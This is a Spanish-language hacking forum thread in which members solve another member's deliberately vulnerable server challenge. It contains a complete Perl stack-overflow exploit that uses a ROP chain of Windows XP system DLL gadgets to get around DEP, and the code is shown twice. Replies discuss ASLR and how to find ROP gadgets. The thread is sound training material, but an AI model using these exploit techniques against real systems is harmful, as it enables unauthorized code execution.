elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Solución Server Vuln de harry_the_blogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Solución Server Vuln de harry_the_blogger  (Leído 11,323 veces)
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Solución Server Vuln de harry_the_blogger
« en: 19 Enero 2015, 17:31 pm »

Solución Server Vuln de harry_the_blogger

Problema:
- Se debe lograr ejecutar dos funciones ocultas ubicadas en un ejecutable vulnerable a stack buffer overflow (desbordamiento de pila), por lo menos eso es lo que alude el ejecutable, harry_the_blogger no mencionó el objetivo del juego  :huh:.

Solución:
La idea principal es lograr modificar PC (program counter) que en este caso (arquitectura) es lo que apunta el registro EIP, para ello la composición del exploit sería el siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
- Address función oculta 1 (0x40105E).
- Address función oculta 2 (0x401036).

[BASURA][SALTO AL STACK][ADDRESS FUNCION_OCULTA_1][RETORNO][ADDRESS FUNCION_OCULTA_2]

Esto se podría realizar, pero el problema que tendríamos principalmente serían las direcciones de las funciones ocultas ya que estas contienen bytes nulos (null bytes), lo cual nos "cortaría" el flujo de nuestro exploit, para ello tenemos como solución lo siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
#----INICIO---Ejecución de código dentro del stack
- Mover las direcciones modificadas de las funciones ocultas a los registros (EJ: 0x401036 + 0x11111111h)
- Restar/sumar a las direcciones la modificación para que queden con su valor original.
- CALL Dirección oculta 1
- Call Dirección oculta 2
#----FIN -----Ejecución de código dentro del stack

Pero pfff y que ocurre con DEP ?  >:( Si usáramos esta solución, el sistema no nos permitiría la ejecución de código en el stack (mecanismo de protección).

Solución final:
Como solución propuesta, se me ocurrió utilizar cadenas ROP lo cual nos permitirá ejecutar código del mismo ejecutable y módulos cargados, el cual terminará llamando a las dos funciones ocultas y evitando la protección DEP:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Required DLL     = kernel32.dll | RPCRT4.dll
  4. # Author           = UND3R
  5.  
  6. use strict;
  7. use Socket;
  8. my $junk = "\x41" x 64;
  9. my $eip = pack('V', 0x7c87f30e); # kernel32.dll | POP EAX;POP EBP;RETN
  10. my $hidden_two = pack('V', 0x373e47db); # 0x40105E - 0xC901C883 = 0x373E47DB
  11. my $hidden_one = pack('V', 0x373e47b3); # 0x401036 - 0xC901C883 = 0x373E47B3
  12. my $rop1 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  13. my $rop2 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  14. my $rop3 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  15. my $rop4 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  16. my $rop5 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  17. my $rop6 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  18.  
  19. my $exploit = $junk . $eip . $hidden_two . $hidden_one . $rop1 . $rop2 . $rop3 . $rop4 . $rop5 . $rop6;
  20.  
  21. # initialize host and port
  22. my $host = shift || 'localhost';
  23. my $port = shift || 6666;
  24.  
  25. my $proto = getprotobyname('tcp');
  26.  
  27. # get the port address
  28. my $iaddr = inet_aton($host);
  29. my $paddr = sockaddr_in($port, $iaddr);
  30.  
  31. print "[+] Setting up socket\n";
  32. # create the socket, connect to the port
  33. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  34. print "[+] Connecting to $host on port $port\n";
  35. connect(SOCKET, $paddr) or die "connect: $!";
  36.  
  37. print "[+] Sending payload (size = " . length($exploit) . ") \n";
  38. print SOCKET $exploit."\n";
  39.  
  40. print "[+] Payload sent\n";
  41. close SOCKET or die "close: $!";

- ¿Es standard?
Lamentablemente no ya que utiliza dos DLL cargadas por el sistema (las mencioné en el exploit). No lo pude hacer standard/genérico ya que al ser un ejecutable muy sencillo y no contar con sus propias DLL se me fue imposible encontrar cadenas ROP dentro de él y tuve que buscar DLLs del sistema.

- Saludos y agradecimientos
harry_the_blogger genial amigo que manera de programa muy linda y nada mejor que postees este tipo de retos en el foro lo cual a mi criterio simplemente aporta conocimiento :D y a Don Videla que ya nos veremos.


Aquí una imagen de la ejecución del exploit, por cierto DEP arrancó pero luego de haber ejecutado las funciones ocultas (seguramente por el desbordamiento ocasionado):


PD: Voy en un bus viajando así que perdona si no me pude explicar bien, si tienes alguna duda, con gusto te respondo :D
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
Pablo Videla


Desconectado Desconectado

Mensajes: 2.274



Ver Perfil WWW
Re: Solución Server Vuln de harry_the_blogger
« Respuesta #1 en: 19 Enero 2015, 18:46 pm »

Gracias por el saludo compadre!

De verdad esto me lo tendrás qué explicar en persona xD.

En línea

dRak0

Desconectado Desconectado

Mensajes: 234


Ver Perfil WWW
Re: Solución Server Vuln de harry_the_blogger
« Respuesta #2 en: 20 Enero 2015, 09:19 am »

Solución Server Vuln de harry_the_blogger

Problema:
- Se debe lograr ejecutar dos funciones ocultas ubicadas en un ejecutable vulnerable a stack buffer overflow (desbordamiento de pila), por lo menos eso es lo que alude el ejecutable, harry_the_blogger no mencionó el objetivo del juego  :huh:.

Solución:
La idea principal es lograr modificar PC (program counter) que en este caso (arquitectura) es lo que apunta el registro EIP, para ello la composición del exploit sería el siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
- Address función oculta 1 (0x40105E).
- Address función oculta 2 (0x401036).

[BASURA][SALTO AL STACK][ADDRESS FUNCION_OCULTA_1][RETORNO][ADDRESS FUNCION_OCULTA_2]

Esto se podría realizar, pero el problema que tendríamos principalmente serían las direcciones de las funciones ocultas ya que estas contienen bytes nulos (null bytes), lo cual nos "cortaría" el flujo de nuestro exploit, para ello tenemos como solución lo siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
#----INICIO---Ejecución de código dentro del stack
- Mover las direcciones modificadas de las funciones ocultas a los registros (EJ: 0x401036 + 0x11111111h)
- Restar/sumar a las direcciones la modificación para que queden con su valor original.
- CALL Dirección oculta 1
- Call Dirección oculta 2
#----FIN -----Ejecución de código dentro del stack

Pero pfff y que ocurre con DEP ?  >:( Si usáramos esta solución, el sistema no nos permitiría la ejecución de código en el stack (mecanismo de protección).

Solución final:
Como solución propuesta, se me ocurrió utilizar cadenas ROP lo cual nos permitirá ejecutar código del mismo ejecutable y módulos cargados, el cual terminará llamando a las dos funciones ocultas y evitando la protección DEP:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Required DLL     = kernel32.dll | RPCRT4.dll
  4. # Author           = UND3R
  5.  
  6. use strict;
  7. use Socket;
  8. my $junk = "\x41" x 64;
  9. my $eip = pack('V', 0x7c87f30e); # kernel32.dll | POP EAX;POP EBP;RETN
  10. my $hidden_two = pack('V', 0x373e47db); # 0x40105E - 0xC901C883 = 0x373E47DB
  11. my $hidden_one = pack('V', 0x373e47b3); # 0x401036 - 0xC901C883 = 0x373E47B3
  12. my $rop1 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  13. my $rop2 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  14. my $rop3 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  15. my $rop4 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  16. my $rop5 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  17. my $rop6 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  18.  
  19. my $exploit = $junk . $eip . $hidden_two . $hidden_one . $rop1 . $rop2 . $rop3 . $rop4 . $rop5 . $rop6;
  20.  
  21. # initialize host and port
  22. my $host = shift || 'localhost';
  23. my $port = shift || 6666;
  24.  
  25. my $proto = getprotobyname('tcp');
  26.  
  27. # get the port address
  28. my $iaddr = inet_aton($host);
  29. my $paddr = sockaddr_in($port, $iaddr);
  30.  
  31. print "[+] Setting up socket\n";
  32. # create the socket, connect to the port
  33. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  34. print "[+] Connecting to $host on port $port\n";
  35. connect(SOCKET, $paddr) or die "connect: $!";
  36.  
  37. print "[+] Sending payload (size = " . length($exploit) . ") \n";
  38. print SOCKET $exploit."\n";
  39.  
  40. print "[+] Payload sent\n";
  41. close SOCKET or die "close: $!";

- ¿Es standard?
Lamentablemente no ya que utiliza dos DLL cargadas por el sistema (las mencioné en el exploit). No lo pude hacer standard/genérico ya que al ser un ejecutable muy sencillo y no contar con sus propias DLL se me fue imposible encontrar cadenas ROP dentro de él y tuve que buscar DLLs del sistema.

- Saludos y agradecimientos
harry_the_blogger genial amigo que manera de programa muy linda y nada mejor que postees este tipo de retos en el foro lo cual a mi criterio simplemente aporta conocimiento :D y a Don Videla que ya nos veremos.


Aquí una imagen de la ejecución del exploit, por cierto DEP arrancó pero luego de haber ejecutado las funciones ocultas (seguramente por el desbordamiento ocasionado):


PD: Voy en un bus viajando así que perdona si no me pude explicar bien, si tienes alguna duda, con gusto te respondo :D

¿Que necesidad de crear otro post para esto?
Para hacerlo standard , ¿se podria buscar rop en cada dll de cada sistema y que determine el shellcode segun el sistema?Si es xp sp3 -> tal , si es xp sp2 -> tal , etc.

Pd:No lo tomes como ofensa , es solo una observacion.
« Última modificación: 20 Enero 2015, 09:29 am por L0RdP3I » En línea

.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Solución Server Vuln de harry_the_blogger
« Respuesta #3 en: 20 Enero 2015, 19:56 pm »

Excelente idea, inclusive podría obtener el sistema operativo con nmap y con ello ver que cadena de ROP usar.

Lo de un nuevo post es para que no se pierda ya que si te percatas estos temas son poco usuales (quizás incentive a algún usuario).

Saludos y gracias por los consejos :D
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
harry_the_blogger

Desconectado Desconectado

Mensajes: 105


Visita mi blog es enriquemesa.blogspot.com


Ver Perfil WWW
Re: Solución Server Vuln de harry_the_blogger
« Respuesta #4 en: 21 Enero 2015, 01:11 am »

Gracias UND3R.

Oye, y esos valores son indepedientes de la máquina o hay que recalcularlos??? Y esos de ROPs hay que sacarlos de nuevo???

Lo probé y no salió como sale en tu captura de pantalla. ¿Que he podido hacer mal??? Disculpen por hacer tantas preguntas, es que soy nuevo en esto de exploits y no he podido avanzar mucho.

Me estaré leyendo la documentacion de perl para entender bien el exploit.

Ah, otra pregunta: ¿Por que siempre los exploits los hacen en Perl o en Python?? ¿Cual de los dos es mejor?? Yo por lo menos prefiero Perl, aunque si hay otro mejor me cambio.

Ah, y mi XP pareciera no tener DEP. ¿Eso es malo?? Sé que en un entorno real debería estar, pero como estoy aprendiendo no afecta, verdad???

Gracias a todos por su ayuda.
« Última modificación: 21 Enero 2015, 04:34 am por harry_the_blogger » En línea

Vista mi blog es enriquemesa.blogspot.com
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Solución Server Vuln de harry_the_blogger
« Respuesta #5 en: 21 Enero 2015, 06:42 am »

Gracias UND3R.

Oye, y esos valores son indepedientes de la máquina o hay que recalcularlos??? Y esos de ROPs hay que sacarlos de nuevo???

Lo probé y no salió como sale en tu captura de pantalla. ¿Que he podido hacer mal??? Disculpen por hacer tantas preguntas, es que soy nuevo en esto de exploits y no he podido avanzar mucho.

Me estaré leyendo la documentacion de perl para entender bien el exploit.

Ah, otra pregunta: ¿Por que siempre los exploits los hacen en Perl o en Python?? ¿Cual de los dos es mejor?? Yo por lo menos prefiero Perl, aunque si hay otro mejor me cambio.

Ah, y mi XP pareciera no tener DEP. ¿Eso es malo?? Sé que en un entorno real debería estar, pero como estoy aprendiendo no afecta, verdad???

Gracias a todos por su ayuda.

Citar
Oye, y esos valores son indepedientes de la máquina o hay que recalcularlos??? Y esos de ROPs hay que sacarlos de nuevo???
R: Si te refieres con valores a los address/direcciones esto depende de algunos factores:
Escenario caso ideal (sin ningún tipo de protección).
- Si el address se encuentra dentro del ejecutable (módulo cargado o ejecutable mismo) no deberías cambiarlo.
- Si el address es del sistema, deberías cambiarlo ya que los módulos del sistema varían de acuerdo al idioma, sp del sistema.

Escenario caso real (protecciones).
- En este caso deberías cambiar prácticamente todo, ya que si existe ASLR las direcciones variarán cada vez que arranque el sistema (aunque las DLL utilizadas no poseían la protección ASLR por lo cual el sistema no debería cambiar su base address).



Citar
Lo probé y no salió como sale en tu captura de pantalla. ¿Que he podido hacer mal??? Disculpen por hacer tantas preguntas, es que soy nuevo en esto de exploits y no he podido avanzar mucho.

R: Mira en cada address coloqué lo que hace cada instrucción con comentarios, ya que la idea del ROP (programación orientada al retorno) es evitar DEP el cual no permite ejecutar código en ciertos lugares del ejecutable como lo es el heap o el stack (Poner EIP con JMP ESP y ejecutar código en el stack). En palabras simples debes tomar las direcciones y buscarlas en el depurador, si están en tu sistema y pose la misma secuencia de instrucciones que puse comentadas es por que está bien y debería funcionar, ahora si no son las mismas instrucciones deberás localizar las instrucciones con algún script (puedes usar mona, un script en python para inmunity debugger).
Por cierto yo hace un tiempo atrás hice un script para OllyScript (plugins de OllyDbg) si quieres lo puedo publicar.



Citar
Ah, otra pregunta: ¿Por que siempre los exploits los hacen en Perl o en Python?? ¿Cual de los dos es mejor?? Yo por lo menos prefiero Perl, aunque si hay otro mejor me cambio.
R: Quizás por comodidad ya que Perl y Python al ser lenguajes intérpretes ahorras tiempo, imagínate tener que estar compilando cada vez que intentas hacer funcionar el exploit, por ejemplo yo habré intentado ejecutar el exploit unas 50 o 60 veces como mínimo, hazte la idea, ahora cual es mejor, mmmm depende de cual se te acomode más a mi se me hace muy sencillo perl, no manejo python aunque se ve bonito con sus identación.



Citar
Ah, y mi XP pareciera no tener DEP. ¿Eso es malo?? Sé que en un entorno real debería estar, pero como estoy aprendiendo no afecta, verdad???
R:Mmm depende del punto de vista, si eres la víctima es recomendable tener DEP activado, si eres el atacante es recomendable que el sistema tenga DEP desactivado, en cuanto si afecta, si el exploit está diseñado para evadir DEP es decir utilizar secuencia de ROPs entonces independiente de que DEP esté activado o no NO afecta. Esto se explica por que DEP a simples rasgos marca zonas del ejecutable como no permitidas para ejecutar código como por ejemplo HEAP y STACK entonces el exploit que no evade el DEP saltará al stack y ejecutará la shellcode o payload entonces al intentar ejecutar código en una zona no permita, se generará una excepción irrecuperable, por eso la invención de las cadenas ROPs que si te fijas solo se encargan de ejecutar instrucciones ya existentes las cuales se encuentran en zonas permitidas para ejecutar y siempre terminan con un ret ya que siempre estarán volviendo a la siguiente cadena del stack.
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
dRak0

Desconectado Desconectado

Mensajes: 234


Ver Perfil WWW
Re: Solución Server Vuln de harry_the_blogger
« Respuesta #6 en: 21 Enero 2015, 22:12 pm »

R: Si te refieres con valores a los address/direcciones esto depende de algunos factores:
Escenario caso ideal (sin ningún tipo de protección).
- Si el address se encuentra dentro del ejecutable (módulo cargado o ejecutable mismo) no deberías cambiarlo.
- Si el address es del sistema, deberías cambiarlo ya que los módulos del sistema varían de acuerdo al idioma, sp del sistema.

Escenario caso real (protecciones).
- En este caso deberías cambiar prácticamente todo, ya que si existe ASLR las direcciones variarán cada vez que arranque el sistema (aunque las DLL utilizadas no poseían la protección ASLR por lo cual el sistema no debería cambiar su base address).



R: Mira en cada address coloqué lo que hace cada instrucción con comentarios, ya que la idea del ROP (programación orientada al retorno) es evitar DEP el cual no permite ejecutar código en ciertos lugares del ejecutable como lo es el heap o el stack (Poner EIP con JMP ESP y ejecutar código en el stack). En palabras simples debes tomar las direcciones y buscarlas en el depurador, si están en tu sistema y pose la misma secuencia de instrucciones que puse comentadas es por que está bien y debería funcionar, ahora si no son las mismas instrucciones deberás localizar las instrucciones con algún script (puedes usar mona, un script en python para inmunity debugger).
Por cierto yo hace un tiempo atrás hice un script para OllyScript (plugins de OllyDbg) si quieres lo puedo publicar.


R: Quizás por comodidad ya que Perl y Python al ser lenguajes intérpretes ahorras tiempo, imagínate tener que estar compilando cada vez que intentas hacer funcionar el exploit, por ejemplo yo habré intentado ejecutar el exploit unas 50 o 60 veces como mínimo, hazte la idea, ahora cual es mejor, mmmm depende de cual se te acomode más a mi se me hace muy sencillo perl, no manejo python aunque se ve bonito con sus identación.


R:Mmm depende del punto de vista, si eres la víctima es recomendable tener DEP activado, si eres el atacante es recomendable que el sistema tenga DEP desactivado, en cuanto si afecta, si el exploit está diseñado para evadir DEP es decir utilizar secuencia de ROPs entonces independiente de que DEP esté activado o no NO afecta. Esto se explica por que DEP a simples rasgos marca zonas del ejecutable como no permitidas para ejecutar código como por ejemplo HEAP y STACK entonces el exploit que no evade el DEP saltará al stack y ejecutará la shellcode o payload entonces al intentar ejecutar código en una zona no permita, se generará una excepción irrecuperable, por eso la invención de las cadenas ROPs que si te fijas solo se encargan de ejecutar instrucciones ya existentes las cuales se encuentran en zonas permitidas para ejecutar y siempre terminan con un ret ya que siempre estarán volviendo a la siguiente cadena del stack.

Me suena a que aprendiste con los tutes de corelan(por el tema de perl).
Python rulez bitches... jaja
En línea

.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Solución Server Vuln de harry_the_blogger
« Respuesta #7 en: 22 Enero 2015, 07:34 am »

Me atrapaste jajajjaja pero dame un poco de tiempo e intentaré reforzar de un libro, por cierto no tengo nada que decir con respecto a Python, mis respetos  ;-)
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.524


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: Solución Server Vuln de harry_the_blogger
« Respuesta #8 en: 22 Enero 2015, 15:31 pm »

Perdón por la intromisión, pero a la hora de hacer exploits, Ruby y Python son los más usados. Ruby por ser el lenguaje usado en Metasploit. Y python por ser "primo-hermano" de este otro (Y, en mi caso, por usarse en la plataforma en la que trabajo ;) ).

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

harry_the_blogger

Desconectado Desconectado

Mensajes: 105


Visita mi blog es enriquemesa.blogspot.com


Ver Perfil WWW
Re: Solución Server Vuln de harry_the_blogger
« Respuesta #9 en: 23 Enero 2015, 06:15 am »

Gracias a todos por sus respuestas. Pero sigo teniendo problemas. No entiendo que estoy haciendo mal.

Comprobé las direcciones de las funciones ocultas, y coinciden con las de mi máquina. No debería haber problema.

Ahora una pregunta: Esa variable $eip = pack('V', 0x7c87f30e) puedo sustituirla por la funcion oculta directamente??? ¿Como puedo obtener yo la direccion de un ROP??

Es que estoy teniendo problemas con los exploits sencillos, y entender eso de ROPs me está costando porque no tengo experiencia previa. ¿Será que puedo explotarlo sin usar ROPs??? Creo que mi sistema tiene DEP desactivado por defecto. No habría problema, verdad??? Intenté eliminar los ROPs, pero falló igual.

Podrías explicarme brevemente como encontrar eso de ROPs??? Solo por encima, yo profundizo con internet a partir de lo que me digan.

Ah, y porque para rellenar se necesitan 64 bytes, si en mi codigo es de 60??? Estaba afectando el alignment???

Gracias por su ayuda a todos. Perdon por la preguntadera. Esto de explotar es díficil, al menos en principio. Y de paso el bachillerato no me deja tiempo para practicar. XD
« Última modificación: 23 Enero 2015, 06:31 am por harry_the_blogger » En línea

Vista mi blog es enriquemesa.blogspot.com
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Dropbear SSH Server DSS Vuln. [2004]
Bugs y Exploits
AlexAltea 3 4,361 Último mensaje 6 Octubre 2010, 02:18 am
por AlbertoBSD
Brazzers.com Vuln Gracias a PCA PERUVIAN CYBER ARMY
Nivel Web
sproductions 3 5,314 Último mensaje 21 Enero 2012, 12:47 pm
por h3ct0r
[SOLUCION] Sendblaster 3 dice: Unable to contact licensing server
Desarrollo Web
Graphixx 2 9,029 Último mensaje 19 Agosto 2014, 00:55 am
por Graphixx
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines